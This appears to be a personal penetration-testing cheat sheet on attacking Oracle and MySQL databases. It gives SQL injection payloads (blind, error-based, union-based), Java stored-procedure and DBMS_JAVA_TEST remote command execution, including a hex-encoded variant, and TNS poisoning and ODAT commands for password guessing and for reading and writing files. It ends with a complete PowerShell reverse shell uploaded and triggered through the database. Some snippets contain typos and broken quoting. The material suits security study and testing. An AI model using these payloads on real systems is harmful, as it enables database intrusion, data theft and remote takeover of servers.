<h1>Oracle Basics</h1>
Each Oracle Database user account owns a single schema, which has the same name as the user.
<h2>Enumerating User Account/Schemas</h2>
```sql
SELECT DISTINCT owner FROM all_tables;
```
```sql
SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES);
```
<h2>Enumerating Tables</h2>
```sql
SELECT * FROM ALL_TABLES;
```
```sql
SELECT table_name FROM ALL_TABLES;
```
```sql
SELECT table_name FROM all_tab_columns WHERE column_name LIKE '%SUBSTR%';
```
```sql
SELECT owner, table_name FROM sys.all_tables WHERE OWNER='<schema_name>';
```
<h2>Enumerating Columns</h2>
```sql
SELECT * FROM all_tab_columns;
```
```sql
SELECT column_name FROM all_tab_columns WHERE table_name = '<your_table_name>';
```
<h1>Oracle SQLi: Blind Based</h1>
<h2>Guess Oracle Database Version</h2>
<h3>Injection Syntax</h3>
```sql
SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%<insert_guess_here>%';
```
<h3>Sample Usage</h3>
- Oracle is version 10g
```sql
SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%10g%';
```
> 
- Oracle is not version 12
```sql
SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12%';
```
> 
<h3>Why this works</h3>
- Oracle database version is always stored at `v$version` table.
- The format of the database version value is `Oracle<version>`.
- So if the query returns 1, we know the version matches with our guess.
<h3>Why it matters</h3>
- Knowing the Oracle database version allows us to find out related vulnerabilities on older versions.
<h2>Subselect Enabled</h2>
<h3>Injection Syntax</h3>
```sql
SELECT 1 FROM dual WHERE 1=(<your_select_query>);
```
<h3>Sample Usage</h3>
```sql
SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual);
```
<h3>Why this works</h3>
- Oracle returning a query result indicates that subselect works.
<h3>Why it matters</h3>
- If subselects are allowed, we can inject powerful nested queries.
<h2>Table existence</h2>
<h3>Injection Syntax</h3>
```sql
SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM <table_name> WHERE rownum=1);
```
<h3>Sample Usage</h3>
- `SYS.ICOL$` table exists
```sql
SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM SYS.ICOL$ WHERE rownum=1);
```
- `SYS.hahaha$` table does not exists
```sql
SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM SYS.hahaha$ WHERE rownum=1);
```
<h3>Why this works</h3>
- The error message is informative enough for us to derive what table exists and what does not.
<h3>Why it matters</h3>
- We can guess what tables exists in the database to map out our target.
<h2>Column existence within a table</h2>
<h3>Injection Syntax</h3>
```sql
SELECT COUNT(*) FROM user_tab_cols
WHERE column_name='<your_column_name>' AND table_name='<your_table_name>';
```
<h3>Sample Usage</h3>
- Column `QUERY_TEXT` exists in the table `MVIEW$_ADV_PARTITION`
```sql
SELECT COUNT(*) FROM user_tab_cols
WHERE column_name='QUERY_TEXT' AND table_name='MVIEW$_ADV_PARTITION';
```
> 
- Column `hahaha` does not exist in the table `MVIEW$_ADV_PARTITION`
```sql
SELECT COUNT(*) FROM user_tab_cols
WHERE column_name='hahaha' AND table_name='MVIEW$_ADV_PARTITION';
```
<h3>Why this works</h3>
- The query checks if the column of the specified table exists in the `user_tab_cols` table, which stores all columns from all tables.
<h3>Why it matters</h3>
- More information for us to narrow our target.
<h2>Reveal row value of a column</h2>
<h3>Injection Syntax</h3>
```sql
SELECT <column_name> FROM <table_name>
WHERE rownum=<your_row_number>
AND <column_name> LIKE '<your_guess_substr>%';
```
<h3>Sample Usage</h3>
- There exists a value of a row in the SCOTT.emp table that starts with 'A'
```sql
SELECT ENAME FROM SCOTT.emp
WHERE rownum=1
AND ENAME LIKE 'A%';
```
- No such values of ENAME starting from 'X' in SCOTT.emp table
```sql
SELECT ENAME FROM SCOTT.emp
WHERE rownum=1
AND ENAME LIKE 'X%';
```
<h3>Why this works</h3>
- With known table name and column name, we can start enumerating the table values with the help of '%'.
<h3>Why it matters</h3>
- Helps us slowly enumerate the table data.
<h1>Oracle SQLi: Error Based</h1>
<h2>Invalid Thesaurus: CTXSYS.DRITHSX.SN()</h2>
<h3>Injection Syntax</h3>
```sql
SELECT CTXSYS.DRITHSX.SN(user, (<your_query_here>)) FROM dual;
```
<h3>Sample Usage</h3>
- Show database version
```sql
SELECT CTXSYS.DRITHSX.SN(user, (select banner from v$version where rownum=1)) FROM dual;
```
> DRG-11701: thesaurus **Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod** does not exist.
- Show column names
```sql
SELECT CTXSYS.DRITHSX.SN(user, (select column_name from all_tab_columns where rownum=1)) FROM dual;
```
> DRG-11701: thesaurus **OBJ#** does not exist.
> 
<h3>Note(s)</h3>
- The `SELECT` query should only return one column (hence the `rownum` usage)
<h3>Why this works</h3>
- `DRITHSX.SN(keyword, thesaurus_name)` function expects a valid `thesaurus_name` to look up from.
- If the `thesaurus_name` does not exist, it will throw an error specifying the thesaurus name.
- `thesaurus_name` is the result of our `SELECT` query.
<h3>Background Knowledge</h3>
<h4>Oracle `dual` table</h4>
- Automatically created by Oracle Database
- Consists of one column: DUMMY, with its corresponding row value 'X'.
- Used to get the result of system function using `SELECT` statement, which must be accompanied with `FROM`.
> `SELECT sysdate;` --> ERROR
> `SELECT sysdate FROM dual;` --> 28-JUL-25
<h4>Oracle Thesaurus</h4>
Used to defines synonym relationships between words to improve search relevance.
```sql
SELECT * FROM documents
WHERE CONTAINS (content, 'SYN(car)', 1) > 0;
```
> Could return something related to "automobile" or "vehicle".
---
Defining a thesaurus
```sql
BEGIN
CTX_THES.CREATE_RELATION (
thesaurus_name => 'my_thes',
term1 => 'car',
relation => 'SYN',
term2 => 'automobile'
);
END;
/
```
---
The thesauri are stored in `DR$THS` table, which is owned by `CTXSYS`
```sql
SELECT * FROM CTXSYS.DR$THS;
```
---
The phrases are stored in `DR$THS_PHRASE` table, which is owned by `CTXSYS`
```sql
SELECT * FROM CTXSYS.DR$THS_PHRASE;
```
---
The DRITHSX.SN() function computes a bit-vector signature (hash) for a given input string using a specific thesaurus.
<h2>Invalid IP/Hostname: utl_inaddr.get_host_name()</h2>
<h3>Injection Syntax</h3>
```sql
SELECT utl_inaddr.get_host_name((<your_query_here>) FROM dual;
```
<h3>Sample Usage</h3>
- Show database version
```sql
SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual;
```
> ORA-29257: host **Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod** unknown
> 
- Show username
```sql
SELECT utl_inaddr.get_host_name((select user from sys.dual where rownum=1)) FROM dual;
```
> ORA-29257: host **SYSTEM** unknown
> 
<h3>Note(s)</h3>
- The `SELECT` query should only return one column (hence the `rownum` usage)
<h3>Why this works</h3>
- `utl_inaddr.get_host_name(ip_addr)` function expects a valid IP address to look up from.
- If the `ip_addr` is invalid/cannot be resolved, it will throw an error specifying the `ip_addr`.
- `ip_addr` is the result of our `SELECT` query.
<h3>Background Knowledge</h3>
`get_host_name` and `get_host_address` can be used to get the current user's hostname and IP address.
<h2>Invalid XML: dbms_xmlgen.getxml()</h2>
<h3>Injection Syntax</h3>
```sql
SELECT to_char(dbms_xmlgen.getxml('select " ' || (<your_sql_query>) || ' " FROM sys.dual')) FROM dual;
```
<h3>Sample Usage</h3>
- Show username
```sql
SELECT to_char(dbms_xmlgen.getxml('select "' || (select user from sys.dual) || ' " FROM sys.dual')) FROM dual;
```
> ORA-00904: **"SYSTEM"**: invalid identifier
<h3>Note(s)</h3>
- Might not work for long query results.
<h3>Why this works</h3>
- We are injecting an invalid identifier in the inner `SELECT` statement that will cause an error, while displaying the invalid identifier name.
- `||` is a string concatenation operator in Oracle.
Hence, here is the step-by-step breakdown of the command:
```sql
SELECT DBMS_XMLGEN.getXML(' select "' || (select user from sys.dual) || '" FROM sys.dual') FROM dual;
```
```sql
SELECT DBMS_XMLGEN.getXML('select "' || SYSTEM || '" FROM sys.dual') FROM dual;
```
```sql
SELECT DBMS_XMLGEN.getXML('select "SYSTEM" FROM sys.dual') FROM dual;
```
> ORA-00904: "SYSTEM": invalid identifier.
<h3>Background Knowledge</h3>
<h4>About DBMS_XMLGEN.getXML()</h4>
- Built-in Oracle function that takes a SQL query and returns the result as an XML string.
- Part of the DBMS_XMLGEN package
- Useful when wanting to transform, export, or transmit data in XML format directly from PL/SQL.
<h4>Sample usage</h4>
Convert into XML
```sql
SELECT DBMS_XMLGEN.getXML('SELECT empno, ename FROM scott.emp') FROM dual;
```
> 
Normal query
```sql
SELECT empno, ename FROM scott.emp;
```
> 
<h2>Invalid XML: xmlelement()</h2>
<h3>Injection Syntax</h3>
```sql
SELECT rtrim(extract(xmlagg(xmlelement("s", <your_selection> || ',')), '/s').getstringval(), ',') FROM <your_table_name>;
```
<h3>Sample Usage</h3>
- Show database version
```sql
SELECT rtrim(extract(xmlagg(xmlelement("s", banner || ',')), '/s').getstringval(), ',') FROM v$version;
```
> 
- Show username
```sql
SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')), '/s').getstringval(), ',') FROM all_users;
```
> 
<h3>Note(s)</h3>
- We can use `//text()` instead of `/s` to omit the XPath Identifier `<s></s>`.
<h3>Why this works</h3>
- Can be used to compliment those tricks that could only accept one query result at a time.
```sql
SELECT 1 FROM dual WHERE 1 = utl_inaddr.get_host_address((SELECT extract(xmlagg(xmlelement("a", username || ',')), '//text()').getclobval() FROM all_users));
```
> 
<h3>Background Knowledge</h3>
Dissecting each components:
- xmlelement(identifier_name, identifier_value)
```sql
xmlelement("s", username || ',')
```
> Adds ',' after the `username` value
> Wraps the `username` with `<s></s>`
> Becomes:
> ```
> <s>SCOTT,</s>
> <s>MGMT_VIEW,</s>
> ```
- xmlagg(xml_elements)
```sql
xmlagg(xmlelement("s", username || ','))
```
> Takes a collection of XML fragments (the elements) and aggregates them.
> Becomes: `<s>SCOTT,</s><s>MGMT_VIEW,</s>`
- extract(xml_instance, xpath_identifier)
```sql
extract(aggregated_xml, '/s')
extract(aggregated_xml, '//text()')
```
> Extracts the value inside the indentifier.
> `//text()` is used to extract the text node inside the element.
- .getStringVal()
> Extracts the XML result as a single plain string (optional).
- rtrim(string, substring)
```sql
rtrim(xml_string, ',')
```
> Removes the trailing comma from the string
<h1>Oracle RCE: Java Stored Procedures</h1>
<h2>Compatibility Checks and Configurations</h2>
<h3>Check if Java is enabled in the database</h3>
```sql
SELECT value FROM v$option WHERE parameter='Java';
```
> FALSE: Java is disabled
> TRUE: Supports Java stored procedures
<h3>Listing Java privileges</h3>
```sql
SELECT * FROM dba_java_policy;
```
> Shows Java security policy for all users of the Database.
> Requires DBA or similar escalated privileges.
```sql
SELECT * FROM user_java_policy;
```
> Shows Java security policy for the current Database user.
<h3>Grant Privileges</h3>
Do these when encountering the following error:
`java.security.AccessControlException: the Permission (java.io.FilePermission <<ALL FILES>> execute) has not been granted to SYSTEM.`
Method 1:
```sql
BEGIN
DBMS_JAVA.grant_permission (
'SYSTEM', // grantee
'sys:java.io.FilePermission', // permission_type
'<<ALL FILES>>', // permission_name
'execute' // permission_action
);
END;
/
```
Method 2:
```sql
EXEC DBMS_JAVA.grant_permission ('
SYSTEM',
'SYS:java.io.FilePermission',
'<<ALL FILES>>',
'execute'
);
```
Other privileges to consider:
```sql
EXEC DBMS_JAVA.grant_permission ('
SYSTEM',
'SYS:java.io.RuntimePermission',
'writeFileDescriptor',
''
);
```
```sql
EXEC DBMS_JAVA.grant_permission ('
SYSTEM',
'SYS:java.io.RuntimePermission',
'readFileDescriptor',
''
);
```
> Capture the output of that OS command
> Return it back to us via the SQL query result
<h3>Checking for compilation errors</h3>
```sql
SELECT * FROM user_errors WHERE type = 'JAVA SOURCE';
```
> If `no rows selected` you are good to go.
<h2>RCE via Function Registration</h2>
<h3>The OG Java Class and Function creation</h3>
Step 1: Create Java Source
```java
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "PwnUtil" AS
import java.io.*;
public class PwnUtil {
public static String runCmd (string args) {
try {
BufferedReader reader = new BufferedReader(new inputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));
String line, result = "";
while ((line = reader.readLine()) != null)
result += line + "\n";
reader.close();
return result;
} catch (Exception e) {
return e.toString();
}
}
}
```
Step 2: Create SQL Wrapper Function
```java
CREATE OR REPLACE FUNCTION PwnUtilFunc(cmd in VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA
NAME 'PwnUtil.runCmd(java.lang.String) return java.lang.String';
```
Step 3: Test the Execution
```java
SELECT PwnUtilFunc('cmd /c cd') FROM dual;
```
<h3>Use BEGIN EXECUTE</h3>
Step 1: Create Java source
```java
BEGIN
EXECUTE IMMEDIATE
'CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "PwnUtil1" AS import java.io.*; public class PwnUtil1 { public static String runCmd(String args) { try { BufferedReader reader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream())); String line, result = ""; while ((line = reader.readLine()) != null) result += line + "\n"; reader.close(); return result; } catch (Exception e) { return e.toString(); } }};';
END;
/
```
Step 2: Create SQL Wrapper Function
```java
BEGIN
EXECUTE IMMEDIATE 'CREATE OR REPLACE FUNCTION PwnUtilFunc1(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil1.runCmd(java.lang.String) return String'';';
END;
/
```
> Note: use double `'` to escape `'`
Step 3: Test the Command Execution
```java
SELECT PwnUtilFunc1('cmd /c cd') FROM dual;
```
<h3>Use HEX</h3>
Step 1: Convert the commands to hex
- Create the Java Source
```java
SELECT rawtohex(utl_raw.cast_to_raw('create or replace and compile java source named "pwnutil2" as import java.io.*;public class pwnutil2{public static String run(String args){try{BufferedReader mread=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream())); String stemp, str=""; while((stemp=mread.readLine()) !=null) str+=stemp+"\n"; mread.close(); return str;}catch(Exception e){return e.toString();}}}')) AS hex_output
FROM dual;
```
- Create the PL/SQL Wrapper Function
```java
SELECT rawtohex(utl_raw.cast_to_raw('create or replace function PwnUtilFunc2(p_cmd in varchar2) return varchar2 as language java name ''pwnutil2.run(java.lang.String) return String'';')) AS hex_output
FROM dual;
```
Step 2: Pass each of those hex values to `utl_raw.cast_to_varchar2()`
- Create the Java Source
```java
BEGIN
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(
'637265617465206F72207265706C61636520616E6420636F6D70696C65206A61766120736F75726365206E616D6564202270776E7574696C322220617320696D706F7274206A6176612E696F2E2A3B7075626C696320636C6173732070776E7574696C327B7075626C69632073746174696320537472696E672072756E28537472696E672061726773297B7472797B4275666665726564526561646572206D726561643D6E6577204275666665726564526561646572286E657720496E70757453747265616D5265616465722852756E74696D652E67657452756E74696D6528292E657865632861726773292E676574496E70757453747265616D282929293B20537472696E67207374656D702C207374723D22223B207768696C6528287374656D703D6D726561642E726561644C696E6528292920213D6E756C6C29207374722B3D7374656D702B225C6E223B206D726561642E636C6F736528293B2072657475726E207374723B7D636174636828457863657074696F6E2065297B72657475726E20652E746F537472696E6728293B7D7D7D'
));
END;
/
```
- Create the PL/SQL Wrapper Function
```java
BEGIN
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(
'637265617465206F72207265706C6163652066756E6374696F6E2050776E5574696C46756E633228705F636D6420696E207661726368617232292072657475726E207661726368617232206173206C616E6775616765206A617661206E616D65202770776E7574696C322E72756E286A6176612E6C616E672E537472696E67292072657475726E20537472696E67273B'
));
END;
/
```
Step 3: Test the Execution
```java
SELECT PwnUtilFunc2('cmd /c dir') FROM dual;
```
---
Additional Info:
- Hex to raw conversion
```java
SELECT utl_raw.cast_to_varchar2(hextoraw(
'637265617465206F72207265706C6163652066756E6374696F6E2050776E5574696C46756E633228705F636D6420696E207661726368617232292072657475726E207661726368617232206173206C616E6775616765206A617661206E616D65202770776E7574696C322E72756E286A6176612E6C616E672E537472696E67292072657475726E20537472696E67273B'
)) AS decoded_text FROM dual;
```
<h2>RCE via DBMS_JAVA Functions</h2>
- 10g, 11g
Write file into Windows machine
```java
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper', 'main', 'C:\\Windows\\system32\\cmd.exe', '/c', 'dir > C:\test.txt) FROM dual;')
```
Write file into Linux machine
```java
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper', 'main', '/bin/bash', '-c', '/bin/ls' > /tmp/OUT2.LST') FROM dual;
```
- 11g
```java
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL
```
Super complete reference: https://swisskyrepo.github.io/PayloadsAllTheThings/SQL%20Injection/OracleSQL%20Injection/#references
<h1>Oracle TNS Poisoning</h1>
<h2>TNS Definition</h2>
TNS: Transparent Network Substrate
- Allows clients to connect to a database without specifying the complete connection details (Port, Host, etc.) every time.
- Connection detaile are defined in `tnsnames.ora` file.
- TNS listener is a server-side component that listens for incoming connection requests from Oracle clients and establishes connections between clients and the appropriate database instances.
- TNS supports connection pooling, allowing multiple clients to share a limited number of database connections.
<h2>How TNS Works</h2>
1. Oracle client initiates a connection request using service name in tnsnames.ora
2. TNS listener listens for incoming connection on port 1521.
3. TNS listener identifies the appropriate DB instance based on service name.
4. Listener establishes connection between client and DB.
<h2>How it can be abused</h2>
- Oracle DB loves sharing connections to loadbalance with remote registration feature.
- Remote registration has no authentication. Everybody can connect and then gets the traffic.
- This causes remote exploitation without authentication.
<h2>Prerequisite of the Attack</h2>
- No network Control
- No firewalls, ACLs, or proper network segmentation.
- IP and port of the DB
- Attacker knows the target database's IP address and port.
- SID
- Oracle System Identifier which identifies the DB instance.
<h2>How The Attack Works</h2>
1. TNS proxy registers the attacker to the database, saying it wants to a be part of the cluster and willing to load balance.
2. When the client connects to the DB, the traffic is loadbalanced.
3. The client now connects to the attacker first, which will pass the traffic to the DB.
4. The TNS Proxy is sitting in the middle intercepting traffic both ways.
<h2>Demo</h2>
<h3>Check if the DB is vulnerable</h3>
1. Run TNS poison check to confirm whether the Oracle DB is vulnerable.
```python
python2 check_tns_poison.py 10.180.11.30
```
2. Open a new terminal and run Tshark as instructed.
3. Confirmed that the DB is vulnerable
<h3>Configuring a TNS Listener</h3>
1. Make sure that the service_name is correct in the DB
2. Configure tnsnames.ora
```
# tnsnames.ora Network Configuration File: C:\oracle\product\10.2.0\db_1\network\admin\tnsnames.ora
# Generated by Oracle configuration tools.
ORCL =
(DESCRIPTION =
(ADDRESS = (PROTOCOL = TCP)(HOST = WIN-NLOQSHL7GU0)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = ora10g)
)
)
EXTPROC_CONNECTION_DATA =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC1))
)
(CONNECT_DATA =
(SID = PLSExtProc)
(PRESENTATION = RO)
)
)
ora10g =
(DESCRIPTION =
(ADDRESS = (PROTOCOL = TCP)(HOST = 10.180.11.30)(PORT = 1521))
(CONNECT_DATA =
(SERVICE_NAME = ora10g)
)
)
```
3. Set the TNS directory in SQL Developer
Tools --> Preferences --> Database --> Advanced
`C:\oracle\product\10.2.0\db_1\network\admin`
4. Register a TNS connection on localhost
<h3>The Attack</h3>
1. Run tnsproxy to register the attacker to the TNS Listener, waiting for traffic to come in
```python
python2 proxy.py -l 127.0.0.1 -p 1522 -r 10.180.11.30 -P 1521
```
2. Tell ORA10g DB that there is another partner that is willing to accept traffic
```python
python2 tnspoisonv1.py 192.168.64.9 1521 ORA10g 10.180.11.30 1521
```
3. Checking the listener, now there are two instances registered.
```
lsnrctl status
```
4. Try making a query via Oracle SQL Developer and check the proxy
<h1>Oracle Pentesting With ODAT</h1>
<h2>ODAT Installation</h2>
ODAT is only compatible with Linux
```
git clone https://github.com/quentinhardy/odat.git
```
```
cd odat/
```
```
git submodule init
git submodule update
```
Installation Package: https://www.oracle.com/database/technologies/instant-client/linux-arm-aarch64-downloads.html
Update system
```
sudo apt update && sudo apt full-upgrade -y
```
Converting
```
sudo alien --to-deb oracle-instantclient19.27-basic-19.27.0.0.0-1.el8.aarch64.rpm
sudo alien --to-deb oracle-instantclient19.27-devel-19.27.0.0.0-1.el8.aarch64.rpm
```
If met with this error:
```
Error: The repository 'https://download.docker.com/linux/debian kali-rolling Release' does not have a Release file.
```
```
Open your Docker source list: sudo nano /etc/apt/sources.list.d/docker.list
And change: https://download.docker.com/linux/debian kali-rolling
To something more stable, like: https://download.docker.com/linux/debian bookworm stable
Then save and run: sudo apt update
```
If met with this error:
```
Error: Package 'libaio1' has no installation candidate
```
```
Debian and Kali replaced libaio1 with a newer package: libaio-dev.
Try this instead: sudo apt install libaio-dev
If you're still missing it:
Add deb-src lines to your /etc/apt/sources.list: sudo nano /etc/apt/sources.list
Ensure you have lines like:
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
Then update again: sudo apt update
```
Depackage
```
sudo dpkg -i oracle-instantclient19.27-basic_19.27.0.0.0-2_arm64.deb
sudo dpkg -i oracle-instantclient19.27-devel_19.27.0.0.0-2_arm64.deb
```
Run
```
source ~/odat-venv/bin/activate
```
<h2>Pentesting Oracle with ODAT</h2>
For this demo we make the SYSTEM account open
When opening a new WSL
```linux
cd instantclient/instantclient_11_*
export LD_LIBRARY_PATH=$(pwd)
export PATH=$PATH:$(pwd)
ls -l libclntsh.so*
```
<h3>TNS commands</h3>
Use TNS commands to get alias and version
```python
python3 odat.py tnscmd -s 10.180.11.30 --status
```
```python
python3 odat.py tnscmd -s 10.180.11.30 --ping
```
```python
python3 odat.py tnscmd -s 10.180.11.30 --version
```
<h3>Guess SID and SN</h3>
Prerequisites:
- Known Oracle DB IP Address
- Common SID/SN
```python
python3 odat.py sidguesser -s 10.180.11.30
```
```python
python3 odat.py snguesser -s 10.180.11.30
```
<h3>Guess Credentials</h3>
Prerequisites:
- Known SID
- Known SN
```python
python3 odat.py passwordguesser -s 10.180.11.30 -d ORA10G -n ORA10G --accounts-file accounts/accounts_multiple.txt
```
<h3>search</h3>
Prerequisites:
- DB IP
- SID
- SN
- Username
- Password
<h4>Enumerate columns</h4>
```python
python3 odat.py search -s 10.180.11.30 -d ORA10G -n ORA10G -U SYSTEM -P password --column-names GLOBAL_STATS
```
<h4>Enumerate Suspected Passwords</h4>
```python
python3 odat.py search -s 10.180.11.30 -d ORA10G -U SYSTEM -P password --pwd-column-names
```
<h4>Describe Tables</h4>
```python
python3 odat.py search -s 10.180.11.30 -d ORA10G -U SYSTEM -P password --desc-tables
```
<h4>SQL Shell</h4>
```python
python3 odat.py search -s 10.180.11.30 -d ORA10G -n ORA10G -U SYSTEM -P password --sql-shell
```
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper', 'main', 'C:\\Windows\\system32\\cmd.exe', '/c', 'C:\revshell.ps1') FROM dual
- Query Database remotely
```sql
SELECT DISTINCT owner FROM all_tables
```
- RCE via DBMS_JAVA_TEST.FUNCALL()
```sql
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper', 'main', 'C:\\Windows\\system32\\cmd.exe', '/c', 'dir > C:\odat_success.txt') FROM dual
```
Attacker's Machine
Victim's Machine
<h4>Basic Info</h4>
```python
python3 odat.py search -s 10.180.11.30 -d ORA10G -U SYSTEM -P password --basic-info
```
<h3>utltcp</h3>
Prerequisites:
- Host IP & Port
- SID/SN
- Username & Password
<h4>Port Scan</h4>
```python
python3 odat.py utltcp -s 10.180.11.30 -p 1521 -d ORA10G -U SYSTEM -P password --scan-ports 10.180.11.30 135,139,445,1521,3389,5357,5985
```
<h3>dbmsxslprocessor</h3>
Prerequisites:
- Host IP and Port
- SID
- Username and Password
- File name and path to be fetched
<h4>Get File</h4>
```python
python3 odat.py dbmsxslprocessor -s 10.180.11.30 -p 1521 -d ORA10G -U SYSTEM -P password --getFile C:\\oracle\\product\\10.2.0\\db_1\\NETWORK\\ADMIN tnsnames.ora fetched_tns_names.txt
```
<h4>Put File</h4>
```python
python3 odat.py dbmsxslprocessor -s 10.180.11.30 -p 1521 -d ORA10G -U SYSTEM -P password --putFile C:\\ put_by_odat.txt put_to_win.txt
```
Attacker's Machine
Victim's Machine
<h3>utlfile</h3>
Prerequisites:
- Host IP
- SID
- Username & Password
- File path and name
<h4>Get File</h4>
```python
python3 odat.py utlfile -s 10.180.11.30 -d ORA10G -U SYSTEM -P password --getFile C:\\oracle\\product\\10.2.0\\db_1\\NETWORK\\ADMIN tnsnames.ora fetched_tns_names_1.txt
```
<h4>Put File</h4>
```python
python3 odat.py utlfile -s 10.180.11.30 -d ORA10G -U SYSTEM -P password --putFile C:\\ utlfile_put.txt put_to_win_1.txt
```
<h4>Remove File</h4>
```python
python3 odat.py utlfile -s 10.180.11.30 -d ORA10G -U SYSTEM -P password --removeFile C:\\ test.txt
```
<h3>tnspoison</h3>
Prerequisites:
- Host IP
- SID
<h4>Poison</h4>
In Attacker's terminal
```python
python3 odat.py tnspoison -s 10.180.11.30 -d ORA10G -n ORA10G -U SYSTEM -P password --poison
```
In Victim's terminal
```python
sqlplus SYSTEM/password@"(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=FAKEHOST)(PORT=1521))(CONNECT_DATA=(SERVICE_NAME=ORA10G)))"
```
In `C:\Windows\System32\drivers\etc\hosts`: 10.180.11.30 FAKEHOST
Victim does a normal query via sqlplus
Attacker sits in the middle intercepting the traffic
<h2>Windows Reverse Shell Simulation</h2>
1. Create a reverse shell PowerShell file
```
touch revshell.ps1
```
2. Place the script content
```
$LHOST = "127.0.0.1"; $LPORT = 4444; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
```
3. Using ODAT's utlfile, upload the script to the victim's machine
```python
python3 odat.py utlfile -s 10.180.11.30 -p 1521 -d ORA10G -U SYSTEM -P password --putFile C:\\ revshell.ps1 ~/odat/revshell.ps1
```
4. Start a listener on the attacker's machine
```
nc -lvnp 4444
```
5. Using ODAT's search --sql-shell module, trigger the script execution
```python
python3 odat.py search -s 10.180.11.30 -d ORA10G -n ORA10G -U SYSTEM -P password --sql-shell
```
```sql
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper', 'main', 'C:\\Windows\\System32\\cmd.exe', '/c', '"powershell -ExecutionPolicy Bypass -File C:\\revshell.ps1"') FROM dual
```
References:
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cracking-the-giant-how-odat-challenges-oracle-the-king-of-databases/
https://github.com/interference-security/oracle-tns-poison/blob/master/tnspoisonv1.py
https://hacktricks.boitatech.com.br/pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-rce-and-more
<h1>MySQL SQLi: Comments</h1>
<h2>Executable Comments</h2>
<h3>Injection Syntax</h3>
```sql
/*! SELECT <column_name> FROM <table_name> */;
```
```sql
/*!<db_version_numeric> SELECT <column_name> FROM <table_name> */;
```
<h3>Sample Usage</h3>
- MySQL Special Comment
```sql
/*! SELECT price FROM `sampledb`.order_items WHERE order_id='1' */;
```
> 
- MySQL DB version is >= 5.0.0
```sql
/*!50000 SELECT price FROM `sampledb`.order_items WHERE order_id='1' */;
```
> 
<h3>Why this works</h3>
- MySQL allows user to specify which commands to execute for specific DB versions via comments.
<h3>Why it matters</h3>
- This could bypass WAF and even allow us to guess DB versions.
- The version specified in the comment only accepts numeric values.
- The version number uses the format `Mmmrr`
- M: Major version
- mm: Two-digit minor version
- rr: Two-digit release number
- MySQL 8.4 accepts `MMmmrr`
<h2>Other Useful Comments</h2>
<h3>Injection Syntax</h3>
```sql
# MySQL Comment
-- MySQL Comment
/* MySQL Comment */
/*
MySQL Multiline Comment
*/
```
<h1>MySQL SQLi: Union-based</h1>
<h2>Finding Out Column Number & Schemas</h2>
<h3>Injection Syntax</h3>
```sql
UNION SELECT 1,2,3,...,GROUP_CONCAT(0x7c,schema_name,0x7c) FROM information_schema.schemata;
```
<h3>Sample Usage</h3>
- The table has 5 columns
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
UNION SELECT 1,2,3,4,GROUP_CONCAT(0x7c,schema_name,0x7c) FROM information_schema.schemata;
```
> 
- The table have more than or less than 4 columns
```sql
SELECT * FROM `sampledb`.order_items WHERE order_id='1'
UNION SELECT 1,2,3,GROUP_CONCAT(0x7c,schema_name,0x7c) FROM information_schema.schemata;
```
> 
<h3>Why this works</h3>
- `GROUP_CONCAT()` is used to concatenate multiple rows into a single string.
- `UNION SELECT` requires that the number of columns in the injected `SELECT` matches the original query.
- `GROUP_CONCAT()` combines all schema names into one result.
<h3>Why it matters</h3>
- Knowing the exact column number allows us to further enumerate `TABLE_NAME`, `COLUMN_NAME`, and `DATA`
- This also allows us to extract table schema which will be used to extract table names.
<h2>Finding Out Table Names</h2>
<h3>Injection Syntax</h3>
```sql
UNION SELECT 1,2,3,...,GROUP_CONCAT(0x7c,TABLE_NAME,0x7c) FROM information_schema.tables WHERE TABLE_SCHEMA='<your_schema_name>';
